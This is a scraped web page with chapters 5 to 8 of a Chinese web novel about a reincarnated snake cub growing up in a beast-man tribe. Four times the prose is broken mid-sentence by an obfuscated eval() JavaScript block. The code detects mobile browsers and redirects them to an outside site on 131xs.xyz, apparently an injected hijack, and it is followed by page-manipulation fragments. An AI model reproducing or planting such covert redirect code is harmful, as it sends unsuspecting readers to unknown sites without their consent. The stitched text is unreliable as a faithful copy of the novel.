;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251861|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小蛇脑袋，起身时对岩丘道：“他挺喜欢这个的，明儿再弄一顿？” “好。” 岩丘没意见。 肥肥兽好抓，留下他们自己吃的，其余的可以送到部落的大山洞里。 在兽人大陆上，每个部落都有一个‘大山洞’，里面生活的兽人以老兽人、幼崽和亚成年兽人为主。 岩丘和青芽十一二岁的时候，他们阿爹阿父终于受不了带崽子的日子，带着猎物，将他们送到了大山洞生活。他们被大山洞抚育长大，出来后自然也要往那边送些食物。 双亲低声说着话，游远听着火焰燃烧的声音，又困倦起来。 · 蜕皮很难受。 游远第二天到底没能吃上炖肉拌饭。 在他阿父出去捕猎之前，他就感受到了明显的不适和紧绷感，青芽给他换了个窝，里面铺着干枯的草茎，还有树皮和石头。 哪怕是不了解蛇，游远也大概知道，这应该是让他用来蹭的。 然而蛇蜕不是一蹭就掉的，有些地方需要反复地磨蹭，尽可能地让所有的蛇皮顺利褪下。 略疼：） 偏偏这事只能自己努力。 青芽蹲在旁边瞧着，点了点蹭的不到位的地方，“崽，这儿也蹭蹭。” 岩丘则是道：“先把脑袋褪掉，剩下的就简单了。” 游远：“……” 也略烦。 虽然知道阿爹阿父是在提供自己蜕皮的经验，但这对于新手蛇蛇来说真的很难，尤其游远还是一条身体控制不协调的蛇。 好累啊，饿了。 健康的幼蛇第一次蜕皮会很快，但游远显然不在这范围内，好在青芽和岩丘有心理准备，见崽一直没能成功，干脆去热了一碟子乳果汁过来，放在旁边给小蛇崽补充体力。 游远喝了会儿奶香十足的乳果汁，终于鼓起勇气，将脑袋凑到树皮边开始蹭蹭。 覆盖在表面的皮肤被蹭下来，游远顺着口子将其余地方蹭开。 新生的皮表有些嫩，多次蹭到树皮的位置传来些许痛感，然而游远却顾不得这些，兴奋地朝阿爹阿父吐着蛇信。 他！能看见了！ 蒙眼的东西随着蛇蜕一起离开，小蛇碧绿色的眸子水亮极了，竖瞳因为兴奋而收缩着。 青芽点点小蛇，“好棒，崽崽继续吧。” 这个是阿爹，游远又去看另一人，那这个就是阿父了。 都挺帅哎。 基因这么好，他人形肯定也好看！ 抱着这种期待，游远继续蹭树皮。 蛇蜕皮时，在新旧两层皮肤间会分泌一种液体，帮助旧皮顺利褪下。正常情况下，蛇兽人幼崽都能褪出完整而漂亮的蛇皮来。 不过游远身体控制能力不足，他只能借助树皮和石头，将旧皮分成一小块一小块地刮下来，有些不太好刮的地方，他还得扭着身体游回去，用嘴咬着撕下来。 蛇信子在嘴巴中努力半天，终于将那块蛇皮给推了出来，游远张嘴，咬住最后一截，撕—— 完美！ 蜕皮顺利结束。 5. 第 5 章 “好棒！” 见蛇崽顺利蜕皮，青芽迫不及待地伸出手，把他捧到了手心里，同岩丘凑在一起，仔细检查小蛇的状态。 很好，鳞片颜色够鲜艳，瞧着也很细腻柔嫩，蛇身扭动时也好像比先前更有劲。 两人很满意，便问道：“想不想吃东西？” 游远本来在歇息，听见这一声询问，立即抬头吐了吐信子，给出肯定的回应。 见状，青芽便把崽子放回柔软暖和的兽皮窝窝里，起身跟着岩丘一起准备吃食，同时把崽蜕皮的窝收拾开，仔细收捡出里面的蛇蜕碎片，平铺在角落的桌面上，准备等阴干后再拿东西存放起来。 这可是崽子第一次褪的皮。 游远还不知道自己那破破烂烂的旧皮，要被阿爹留着做纪念了，他在柔软的皮毛里打了个滚儿，肚皮朝天瘫了会儿，又翻过来，脑袋搭在窝边边上，看着阿爹阿父忙碌。 从出生到现在，他如今的视野是前所未有的清晰，游远看了会儿阿爹阿父，又开始观察整个山洞。 山洞里的光线很昏暗，只依靠火塘里的火焰光照亮着周围。不过蛇兽人的视力比之单纯的蛇要出色太多，游远趴在窝里，甚至能看到山洞另一边堆着的蛇蜕的纹路。 而且，最最最有趣的是—— 游远集中精力调整了下状态，闭眼后再次睁眼，视野内的景象就完全不一样了。 原本清晰的山洞景象变得模糊昏暗，视野里出现三团红光，最明亮的是熊熊燃烧的火焰，阿爹阿父的人形热成像色泽要偏冷色调一些，但还是比周围明显。 热成像！ 游远上辈子赚了好多钱，都没买热成像眼镜玩过，现在倒是自带了。 他新奇地晃着脑袋瞧了一圈，又闭上眼睛认真调整了下眼睛视物状态。 睁开眼时，视野再度变化，热成像和正常景象同时出现，新奇极了。就是搞得游远脑袋晕晕的，没一会儿视野就彻底混乱了。 游远上半身砸回窝里，闭着眼睛晕了好一会儿，才慢慢地缓过来。 · 青芽拿勺子搅了下锅里的炖肉，感觉还差蛮久，想了下问岩丘：“要不弄个肉酱土豆泥吃？” 他们都挺喜欢吃那个的，不知道崽崽喜不喜欢。 不喜欢也没关系，他们可以解决。 岩丘觉得青芽这个建议很好，说道：“我去拿土豆。” “好~” 他们进入山洞的甬道处有一条分岔路，从那里过去，是一个比居住区更大的储藏山洞，而储藏山洞下面还有一个不算大的地窖。 土豆就放在地窖里。 岩丘从旁边柜子里拿出个兽皮袋，挑了好几个大土豆塞进去，随后变成兽形叼起袋子，顺着地窖墙壁游出了地窖。 回到地面上，岩丘变成人形盖好地窖口，拎着土豆出山洞洗洗干净，等他回到居住的山洞区域时，青芽已经在炒肉酱了。 两人忙碌的动作称得上不急不徐，窝里的游远打着哈欠，又睡了过去。 他伴着食物香味睡着，梦里也是各式各样的美食。 游远被阿爹喊醒的时候，第一时间就被扑鼻的香味牵扯了全部的注意力，他顿时清醒，满含期待地看向香味来源。 浓稠的肉酱在表面铺了一层，通过缝隙，游远对下面的食物依稀有了判断，好像是土豆泥。 “崽，肉酱土豆泥，尝尝不？” 游远果断张嘴。 尝！ 青芽见状，就笑眯眯地舀了点，细细吹凉过后，送到游远的嘴里。 游远合上嘴。 土豆泥细腻，搭配上带着点颗粒感的肉酱，即使受限于蛇身形态，能够品尝到的很有限，他也还是感受到了强烈的满足感。 岩丘的视线落到小蛇晃悠的尾巴尖上，疑惑地偏了偏头，伸出手指摸了摸蛇崽的身体。 很放松，很柔软。 不是因为进食时肌肉紧绷导致的晃尾巴，这个姿势也不可能是为了保持平衡。 岩丘思索了两秒崽的想法，狐疑：这是在表达开心？ 他看向青芽。 青芽虽然喂着崽，但也有留意到岩丘的动作，这会儿见岩丘看来，摇了下头轻声道：“他连行进都学不好呢。” 还是别指望其他方面能有多正常了。 岩丘想想也是。 忽然被点的游远：？ 吃饭吃得好好的，忽然戳蛇痛点是要怎样。 咽下嘴里的土豆泥，游远再次张大嘴，尾巴拍打着兽皮垫子，催促阿爹快点进行新一轮投喂，别在那说他坏话了！ 青芽见状，将勺子里备好的土豆泥送到小蛇嘴里，又开始同岩丘商量：“给崽取个什么名字好？还是找阿巫帮忙取？” 岩丘手指还在小蛇背上，想起刚刚的话题，说道：“要不，叫游快？” 总这么慢吞吞的挪也不是事儿。 作为主要教导小蛇的人，青芽表示：“会不会有点太难了？” 岩丘：？ 青芽顺着他这个思路想了想，说道：“叫游远吧，不图快，能一回游远点就行，别一刚出发就休息。” 岩丘沉吟，“倒也可以。” 夫夫俩敲定名字，朝着蛇崽喊：“游远”、“远”、“小远”。 游远：“……” 甚至没心情为两辈子同一个名而高兴。 · 洞中不知日月，时间飞速流逝。 游远天天学，日日学，又蜕了一回皮，才总算学会正常的游行动作。 虽然还没达到阿爹阿父对他的期盼，但好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251862|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歹是把刚破壳时养成的坏习惯给纠正掉了。 青芽和岩丘还是很欣慰的。 至于速度和持久性上的问题，这个就只能依靠不断地重复练习来增进了，夫夫俩开始教小崽子说话。 相较于让游远无法理解其中原理的爬行课，语言算得上是一个轻松的课程。作为二十一世纪优秀的大学毕业生，他有一套属于自己的语言学习方法。 因而进展飞速。 阿爹阿父就更欣慰了。 忽略小蛇游行上的缺陷，谁会觉得他是一个疯兽人呢？！ 这日天朗气清，是复苏季里难得的好天气。 青芽捧起小蛇崽，“远，我们今天出去晒太阳怎么样？！” 游远闻言，迫不及待地问道：‘现在去？’ “当然！” 说走就走。 青芽抄起游远的小窝，将崽子放进去，连窝端着，脚步轻快地走出了山洞。 游远趴在窝前端，脑袋微微扬起，好奇地观察着四周。 从山洞到洞口的这条甬道很长，而且蜿蜒曲折，临近洞口的那段路上还有条岔道。 游远好奇地问了一句，从青芽口中得知那里是寒季储存食物的地方，现在里面还存着好些去年丰收季采摘回来的瓜果蔬菜。 经过岔道之后，青芽又走了一小会儿，阳光闯入视野。 游远的身子一下扬高了，瞳孔也因为骤然遇到明亮的光线而收缩着。 从甬道走出的瞬间，视野有片刻的白茫，接着便是一片清新的绿色，鸟雀叽喳的叫声传入耳中，听得蛇心旷神怡。 岩丘就趴在洞口一块宽敞的石头上，见他们俩出来，就往旁边挪了挪。 青芽将蛇窝放到中间位置，随即变成兽形，也趴在了大石头上，懒散地打着哈欠，享受太阳的温暖。 游远左右转着脑袋，看阿爹阿父都很享受的样子，便也在窝里躺好，舒展身体。 太阳晒在身上暖洋洋的，游远舒服得直翘尾巴尖。 享受了没多久，游远感觉身下的窝动了。 ？ 他睁开眼睛，见是阿父，有些疑惑：‘怎么啦？’ 岩丘道：“你第一次晒太阳，时间不能太久。” 哎？ 游远忍不住往外探脑袋，‘可是我才刚开始晒。’ 岩丘把他的脑袋推回去，说道：“听话。”顿了顿，像是怕崽子会闹，又补充：“一会儿再把你搬出来。” ‘好吧——’ 游远应得不甘不愿。 岩丘见状，只好挑了个靠近太阳光的位置放下蛇窝，蹲下来对小蛇商量：“不可以自己出来，要等我和你阿爹，知不知道？” ‘嗯嗯！’ 新地方离太阳近，也是暖暖的，游远满足了。 6. 第 6 章 “崽，阿爹今天要去采集队哦，你要不要一起？” 青芽在旁边收拾着兽皮袋子，见游远慢吞吞地在山洞里游来游去，想想小崽子如今的状况也算是稳定了，就开口提了一下。 游远闻声，扬起脑袋，‘采集队？’ 青芽就给他解释：“采集队就是去采集区采集食物的，还有一个狩猎队，要出部落去打猎，巡逻队是要巡逻整个部落……” 前两者带回来的食物要交给部落，由大山洞里的老兽人收拾了，一部分留大山洞吃用，一部分分发给独立居住，但能力尚且不足的亚成年，以及变弱了的老兽人们。 在他们部落里，这两项任务都是五日一次，落到每个成年兽人身上，就是二十日一回。 而巡逻队，则要比前两者频繁些，十日一回。需要巡逻一整个日夜，但期间有很多休息时间——对兽人而言，保持警惕进入休息状态很简单。 狩猎队因为要出部落狩猎，对战力要求很高。采集队采集食物的位置在安全区范围，没有相应要求。 而巡逻队的任务虽然清闲，但需要应对各种情况，随时准备援助狩猎队、保护采集队，所以战力上不能弱于狩猎队太多。因而，巡逻队任务，大多由空闲的狩猎队成员进行。 青芽讲解得很仔细。 游远理解了下，感觉有点像公益事业。 不过因为部落里的每一位兽人，都是在这样的制度下安然长大的，所以大家也很愿意参与到工作中，为部落贡献自己的一份力量。 喜欢！ 游远开开心心地道：‘阿爹，我可以跟着去吗？会不会影响你？’ “你乖一点，到了地方别乱跑就行。” ‘我不会的，我超乖！’ 乖不乖的，可不是嘴上说了算。 青芽伸出手指，轻轻点了点小蛇的脑袋，看着小巧碧绿的蛇头顺着自己的动作一上一下地晃着，他不由笑了笑，从柜子里取出一个巴掌大的小袋子，送到游远面前。 “那进去吧，阿爹要出发了。” ‘嗯~’ 游远自己游进了小袋子中，那里面还垫着柔软的兽皮，显然是特意为他准备的。 青芽站着等了会儿，确定游远找好了舒适的姿势后，这才咬住袋子的布条，将其余的兽皮袋子卷好放在地上。 青芽变成兽形。 游远只觉得视野忽然降低，他扬着脑袋瞧了瞧，只看见阿爹的下颚。 被蛇叼着哎～ 好玩儿。 碧青色的大蛇体型足有五米多长，他往前游了一段，细长的蛇尾部分卷起兽皮袋子，以一种不符合科学原理的姿态向山洞外游去。 成年大蛇的游行速度很快，游远只觉得凉风扑面，只几个呼吸的时间就出了山洞。 从山洞出来，穿过草木密林，越过斜坡小溪，视野里出现了一块平坦的地面。 游远忍不住往外探了探脑袋，好奇地观察着周围。 这片地方虽然要平坦许多，但也是林荫茂密，太阳光被树叶切割成一块块的洒落下来，细嫩的草叶舒展着身体，有蛇藏在草叶之下，懒洋洋地晒着太阳。 不知道是不是阿爹的出现惊扰了他们，蛇兽人们陆陆续续竖起脑袋来，瞳孔或偏圆或细长的眼睛朝他们看来。 游远默默往下缩了缩身子，只露出个脑袋继续盯着那些蛇。 好多。 白的红的黄的绿的紫的黑的。 有彩色束带条纹的，有鳞片在阳光下泛着彩虹光芒的，也有脑袋上有突出软刺的。 从前觉得蛇的模样一个词就能概括——细长。 如今变成了蛇，游远仔细观察，却发现大家其实有很大的不同。除了颜色之外，体态上的差别也很大，有些蛇上半截身子比较粗壮，有些蛇的尾巴就短短的。再看仔细一些，甚至于连鳞片都不太相同。 游远眼睛亮晶晶地看着族人们，蛇兽人们也好奇地观察他。 是的，观察他。 他们竖起来当然不是被青芽惊醒，就依照蛇的习惯，他们根本不在乎族人是否经过——除非被族人从身上碾过去。 让兽人们好奇的是游远，这一条，生而不足的疯兽人崽崽。 蛇王部落内当然也有疯兽人，但他们不管怎样，游行是没有问题的，甚至经过教导后，依旧可以自行捕猎填饱肚子。 这是神明对兽人的偏爱。 游远是唯一一条游行不行，但其他方面正常的疯兽人。 好奇之余，大家也是想记录一下小蛇的气息。 部落里每个成年兽人都有保护幼崽的责任，这条小蛇这么不正常，他们得多留意一下。这样之后的五百年里，小蛇若是遇到困难，他们也能及时反应过来，帮帮这可怜的小家伙。 完全不知道大蛇们想得这么深远。 随着青芽的前进，周围的大蛇数量也越来越少，前方洒下一大片的光线，倾倒的大树和树桩交错着堆在原地，攀附树木而生的草蔓从缝隙中生长出来，新生与死亡相碰撞，有种百废待兴之感。 游远疑惑地偏了偏头，不明白为什么不将这些东西搬开。 正在他疑惑间，一颗蛇头竖了起来，扭头看来。 那蛇与身下的树干几乎融为一体，若非游远亲眼看见他动作，几乎要以为他是大树本来就有的分叉。 随着那条蛇扬起身子，又是先前的场景重演，蛇头一颗接着一颗竖起，很是壮观。 原来这里是蛇兽人们的聚集地。 大家和青芽打过招呼，又看向他咬着的布袋子，“这就是你的崽崽？” “嗯。” 青芽含糊应了下，对小崽子道：“叫哥哥。” 游远：？ 看这些蛇说话的态度，他应该叫叔叔吧？ 但阿爹都这么说了，游远乖乖地吐了下信子，对着最近的蛇兽人道：‘哥哥好。’ “好乖。”大家有些惊奇，又有旁边的兽人来逗他，“怎么只叫他一个，我们都是哥哥呀。” 游远：？？ 有些将信将疑，但阿爹没有制止的意思，游远只好又道：‘哥哥们好。’ “嘿，还真挺乖的。” 从前那些疯兽人幼崽见了陌生的兽人，紧张之下很容易上口咬人，或者做出攻击的姿势来。青芽和岩丘这只崽倒是稀奇，这么乖，第一次出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251863|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来也很放松。 会不会其实不是疯兽人？ 大家这么想着，并未在小崽子面前说起这个话题。 青芽到后又陆续来了几条蛇兽人。 全员到齐，一条蛇从阴凉处游出来，说道：“好了，大家都拿出兽皮袋来，我们准备出发。青芽，你能走侧面吗？” 青芽：“没问题。” 见他没有为难的意思，大蛇点点脑袋，卷出自己的兽皮袋放到身上，尾巴灵巧地转动着，卷着两条垂落的带子在蛇颈处绕了两圈，绑好。 游远看得叹为观止。 他伸着脑袋看时，感知到身下的小袋子也在晃，不由游到后面去瞧。 他阿爹也在往身上绑兽皮袋。 ‘阿爹，为什么要绑身上啊？’ 听见小崽崽的询问，青芽道：“采集区虽然在安全区范围内，但也比部落里容易遇到危险，绑在身上不影响逃跑或者回击。” 哦…… 游远想象了下，嘀咕：‘这就是大家兽形都这么大的原因吗？’ 青芽：“……” 不，反了。 是兽形本来就这么大，然后才想到这样弄的。 可能是对崽崽的提问早有预料，青芽心里反驳完，也平静出声纠正了崽子的思想。 闻言，游远不好意思地扭了扭身子，‘我记住啦！’ 怪脑子太小，害得他都不会思考了。 卷起后粗粗的兽皮袋子被横着固定在蛇蛇们的后脖颈处，确定大家都准备好之后，先前出来说话的那位兽人游到了前面，出发。 青芽游在侧面，倒是方便了游远观察。 他看着大蛇们仰着脑袋出来，汇聚到一起后，浩浩荡荡游向部落外，忍不住直乐——好多十字架在地上飞蹿哈哈哈。 青芽：？ 他有些疑惑：“崽？” 阿爹出声本意是询问，但游远在解释之前，先行笑倒在了小兽皮袋里。 青芽见状，只好任他扭着身体乐去。 扬着部分身体并不影响蛇群的行进速度，等游远再次探出头来的时候，只觉得周遭的景色都唰唰地落在了身后，跟坐摩托车的感觉很像。 小蛇下巴搭在兽皮袋边缘，压出一个小小的凹陷来。 大约走了将近半个多小时后，视野里茂密的森林忽然有了变化。 入目是一座山，从山腰开始，往下的位置生长着的都是些矮小的植株，往上的植株虽说要高一些，却也就是两三米的高度，比不得森林里的大树高大。 游远定睛细瞧，在那些植株里看见了好些眼熟的存在，全是能吃的蔬菜瓜果。 游远惊奇，‘阿爹，这是大家种的吗？’ 他还以为采集区只是果子比其他地方多呢，谁知道会是这么大一片菜园子。 “当然不是。”队伍还在行进，青芽带着游远往前，“采集区是兽神赐予部落的，每年都会生长很多的食物。” 就是蛇不太爱吃草，来得次数会比较少。 ‘哇——’ 所以是兽神的菜园子？ 等等，不对。 这个世界真有兽神啊？！！ 7. 第 7 章 小蛇脑子小小，想到就问。 青芽：“……” 兽神对兽人而言，跟游行一样，也是生而便知的存在。 旁边一条蛇兽人听了，有些怜爱地道：“小家伙，当然有兽神啦，你不是还经受过兽神大人的赐福嘛。” 游远疑惑，‘什么时候啊？’ 又有另一条蛇兽人开口：“你刚出生的时候啊！” 游远：？ 他努力回忆了下，终于想起来刚出生那天，他被阿爹阿父吓晕之后，就到了一个叫‘阿巫’的山洞里，然后脑袋晕了好一会儿。 当时‘阿巫’就说，那是兽神的赐福。 游远仰着脑袋去瞅阿爹下巴，‘阿爹，晕晕的是兽神赐福吗？’ 青芽：“是吧。” 他又没有被赐福的经验，不过小蛇那天确实晕乎乎的。 ‘哦……’ 小蛇陷入思索。 · 采集队抵达今日的采集地点。 蛇兽人们默契地扭过尾巴，解开了固定在颈部的兽皮袋，然后变成人形。 视野忽然拉高，游远习惯性仰头瞧阿爹。 青芽将叼着的兽皮袋取下，顺手摸了摸小蛇脑袋，说道：“我们会在这里待许久，你要不要四处玩玩？” 游远吐信：‘阿爹会不会找不到我？’ 这里那么多草，他兽形也就半臂长，又是碧色的，应该会很容易被藏起来。 青芽笑：“放心吧，肯定能找到你。” 这话明明没有可靠的依据，但游远听了莫名就很信任，闻言便道：‘那我想去玩！’ 青芽就将兽皮袋子放了下来。 碧青色的小蛇慢吞吞游入草丛之中，才走了不过成年兽人人形两三步的距离，他就又趴了下来，一副很累的模样。 旁边的成年兽人瞧见了，也不由吸了一口气。 看这崽爬真真是一场折磨。 采集队需要采集的食物不少，青芽稍微留意了下游远所在，便开始进行自己的工作——在周围巡逻警戒。 游远歇了会儿，觉得自己不能一直躺在这，有被成年兽人一脚踩死的危险。 于是他慢吞吞但努力地往边边上游，游一小截歇一小会儿，倒也当真被他抵达了采集队活动区域的边缘。 不用担心自己的小命了，游远躺平，舒舒服服地晒了会儿太阳，等到精力恢复，这才扬起身子试图观察周围。 观察失败。 到处都是草，除了小树和兽人之外，他什么也瞧不到。 ‘……’ 游远想起蛇也是爬树高手，他游到小树面前，仰着头瞧了会儿，凑近，爬。 爬—— 算了算了，这树皮好粗糙，肚皮疼。 游远放弃挑战高难度，看见不远处有一块大石头，便游了过去。 这大石头真的很大，而且上边是平缓着连接土地的，很方便小蛇爬上去。 游远游到了石头高处，视野终于不再被遮挡，骄傲地扬起了脑袋，开始观察阿爹和其他蛇兽人。 采集队这次来了近二十个兽人，以亚兽为主，少数两三条雄性兽人。他们散落在山坡上，挑选着比较大的食物装进兽皮袋中。 游远没看见阿爹，疑惑地偏了偏脑袋。 他视线在人群中搜寻着，一瞥到绿色就去瞧，但谁也不是阿爹。小蛇不由心慌起来，忍不住又往前游了游。 一条尾巴从上方垂落下来，挡住了他的去路，“在找什么？” 熟悉的声音。 游远惊喜抬头，‘阿爹！’ 青芽垂头看着他，懒洋洋地应了一声。 游远开心地追问：‘阿爹什么时候来的？不用跟着大家一起采集吗？’ “一开始就在这。”青芽道，“我负责警戒，不用采集。” 先前就说过，采集区所在的位置并非是百分之百安全的，为了保护采集兽人的安全，往往每一支采集队里，都会挑选出一两个兽人负责警戒周围。 青芽在狩猎队待过四五十年，近些年才来采集队玩儿，因着战斗力强，就一蛇包揽了全部的警戒事宜。 游远想了想，‘那阿爹可以陪我玩吗？’ “玩什么？” ‘我想看看食物，我们带点回去吃好不好？’ 青芽垂眸看他，尾巴抬起，尖端轻轻点了点小蛇脑袋，“喜欢吃素啊？” 游远：‘不是喜欢，就是想吃。’ 蛇是肉食动物没错，但游远曾经是个人，他还是挺想荤素搭配一下的。 而且，蛇兽人又不是普通蛇，蔬菜和肉都能给他们提供营养。 青芽想了下，道：“明天再带你来一趟。” 这就是现在不能带他去采摘的意思了。 游远也没有意见，开开心心地说：‘那明天我要弄好多好多菜回去。’ “行。” 有阿爹在，小蛇活泼了许多，撞着大蛇垂下来的尾巴玩了会儿，又从石头上下去，继续三步一歇地游着，有时候遇到感兴趣的菜，还会扬起蛇身细瞧。 但相较于菜，他看到更多的是虫子。 ‘阿爹阿爹，救！救救！嗷嗷嗷要被咬尾巴了！’ 小蛇叽叽喳喳的声音传过来，树上的青蛇睁开眼睛，还没来得及动作，就见小蛇所经之处的兽人将他捞了起来，又弯腰去瞅追他的东西。 蛇族兽人不护崽，即使是刚出生的幼崽，其余兽人也可直接上手，不用担心会被攻击。 那亚兽捧着小蛇，瞧清了追着他的东西，乐了：“你咋连蚂蚁也怕啊。” 游远悲伤：‘它们加起来比我都长了。’ 兽世什么都大，虫子也一样，那蚂蚁足有成人中指长，站在地上也比蛇要高，十数只朝着游远涌来，险些把他胆给吓破。 偏偏游行本事不行，屡屡被追上，刚刚差一点就要被咬尾巴了！ 小崽子越想越后怕，不断用兽语发出‘呜呜’的哭声，瞧着可怜兮兮的。成年亚兽只好努力忍住笑意，问蛇崽：“那是换个地方继续玩，还是回你阿爹身边去？” 游远用力甩脑袋，‘不玩了不玩了。’ 还是等他跑得比昆虫快再说吧。 亚兽压住他脑袋，“不可以这么甩头，会受伤的。” ‘哦……好的。’游远想了下，‘谢谢哥哥。’ “好乖。” 成年亚兽忍不住，又轻轻摸了摸他的身体，然后将小家伙送到了青芽面前。 青芽方才就从树上下来了，这会儿接到小蛇崽，朝着亚兽点了点头致过谢，低下头去看崽。小蛇大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251864|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概是真的被吓到了，这会儿正努力贴着他的身体，试图从蛇身上拱出一条可以藏身的缝来。 青芽无奈，变回人形。 依靠的地方忽然一空，不等游远寻找，就被一双手给捧了起来。 蛇族兽人即使变成人形，也依旧是变温动物，青芽的手心偏凉，是小蛇最喜欢的状态。 但他显然还是觉得不够安全，顺着青芽抬起的手臂，往他脖子处爬。 青芽便安静看着。 小蛇这回倒是不三步一歇了，他努力地越过了阿爹长长的手臂，转到肩颈处，将大半身子藏到了长发之下。 蛇身与青色长发交织，游远自觉已经被完美隐藏，开心地吐了吐信子，开始嘀咕方才那大蚂蚁的可怕。 青芽间或回应他两句，抱臂站在高处，大半的注意力依旧落在警戒上。 游远嘀咕完了，叹口气：‘我为什么会是蛇呀。’ 这话过了青芽的耳，他过了会儿，才反应过来话语内的意思，眉头蹙起很是不解：“小远不想当蛇吗？” ‘也不是，就是蛇爬起来好累的。’游远哼哼，‘想要脚。’ 青芽：“……” 游远想起兽神，扬起脑袋蹭了蹭阿爹，期待道：‘阿爹，咱们能不能去找兽神大人说说，让他给我两、不，四只脚啊？’ 想想又觉得四只不够，再度改口：‘六只也行。’ 青芽：“……” · 小蛇的奇思妙想让人头疼。 可架不住游远太会撒娇，采集队回到部落之后，青芽稀里糊涂地就带着他到了阿巫山洞里。 膨风听完小蛇的话：“什么玩意儿？” 游远看着那条眼镜蛇，往后缩了缩，仗着有阿爹在，还是梗着脖子重复了遍自己的想法。 膨风感觉脑袋晕晕的，像是要死了，但面前这条小蛇是有点特殊在身上的。 他认真思索了下，还是道：“等着吧，我一会儿出来。” 游远看着他从另一个洞口游进去，又去看阿爹，‘阿爹，兽神大人要多久才会回答我呀？他会不会直接送爪子给我？’ 青芽摸摸小蛇，没戳破他不切实际的幻想，只道：“很快的。” 阿巫没让他们回去等，那就不会要太长时间。 事实也确实是如此。 游远数着地上的石头，在数到第三百二十七颗的时候，膨风从那个小山洞里出来了。 游远立即期待地看去。 膨风平静：“兽神大人说，这是你所求的。” ‘嗯？’ 游远反应了下，才明白膨风的意思是：当蛇是他所求来的。 他满口否认：‘不可能，不存在的。’ 作为一个忙碌的现代人，他最多就是欣赏一下蛇蛇，连养都没养过呢，怎么会盼望自己变成一条蛇啊！ 像是早知道小蛇会有这反应，膨风再次开口道：“兽神大人说，你想躺平一辈子。” 游远：？？？ 不是。 彼躺平不是此躺平啊！！！ 见小蛇不说话了，膨风满意地给出最终答案：“你已经出生，是不能改变形态了。不过兽神大人怜惜你先天不足，愿意再给一回赐福。” 游远还沉浸在悲伤中，脑袋空空地同人道谢。 8. 第 8 章 躺平…… 和躺平…… 游远趴在阿爹的肩膀上，悲伤地回到家里，听见阿父询问他怎么了时，终于没忍住，嗷的一声哭了。 崽崽受不了这个委屈。 蛇崽脑袋小小，眼泪多多，哭得阿爹阿父好笑又心疼。 好不容易等小家伙缓过来了，岩丘一句话又把游远打回谷底：“爪子有什么好的，咱们不稀罕，没爪子才能想去哪去哪呢。” 游远：‘……’ 呜呜呜呜，问题是他不行啊。 别的蛇能上树爬悬崖，他在地上游都得三步一歇。 青芽瞪了岩丘一眼，捧着崽绕开他阿父，转移崽崽注意力道：“阿巫说兽神大人会给你赐福呢，崽崽不期待一下吗？” ‘不期待。’游远蔫蔫的，‘又不会给我爪子。’ 岩丘知道自己说错话了，这会儿便跟过来，“那我们吃饭？我已经准备好了哦，今天有香炖肉、韭菜炒蛋，还有瘦肉汤，崽崽想不想吃？” 听到这话，游远来了点精神，‘想的。’ 见状，青芽和岩丘对视一眼，默契地笑了下，带着崽来到餐桌边。 汤和韭菜炒蛋都摆在了桌上，倒是香炖肉还在锅里。岩丘去盛肉了，青芽盛了一碗汤出来试过温度后，放到崽子面前：“这个可以喝了。” 游远凑近，闻了闻。 还挺香的，不仅有肉味，还有酱油味。 他将嘴巴埋到汤里，开始喝汤。 蛇崽刚出生的时候不太会喝水，都是吸溜吸溜的，这会儿动静终于正常了，小小的咕咚声听得青芽很有成就感。 岩丘端着香炖肉过来。 香炖肉有很多种，今天弄的是放了许多料汁和草果树叶炖的牛肉，很好吃。 ——第一个做这些肉的兽人给它们取了很多名字，不过太多了，兽人们懒得记，干脆统称为香炖肉了。 游远正幸福地喝着汤呢，看见炖牛腩，眼睛蹭得一下亮了，‘阿爹阿爹，我要吃这个！我想吃这个！’ 青芽道：“等下，给你切。” ‘好——’ 兽人用刀很快，不一会儿就将肉块切成了大小合适的细条。 游远游到盘子旁边，张大嘴巴咬过去，幸福。 吃到香香的饭菜，游远顿时觉得当条没脚的蛇其实也不错，穿越原始兽世能有这待遇已经很好啦！而且等他长大之后还可以变成人呢，兽形游得慢一点就慢一点嘛。 无所谓~ · 早晨温柔的太阳晒得蛇懒洋洋的。 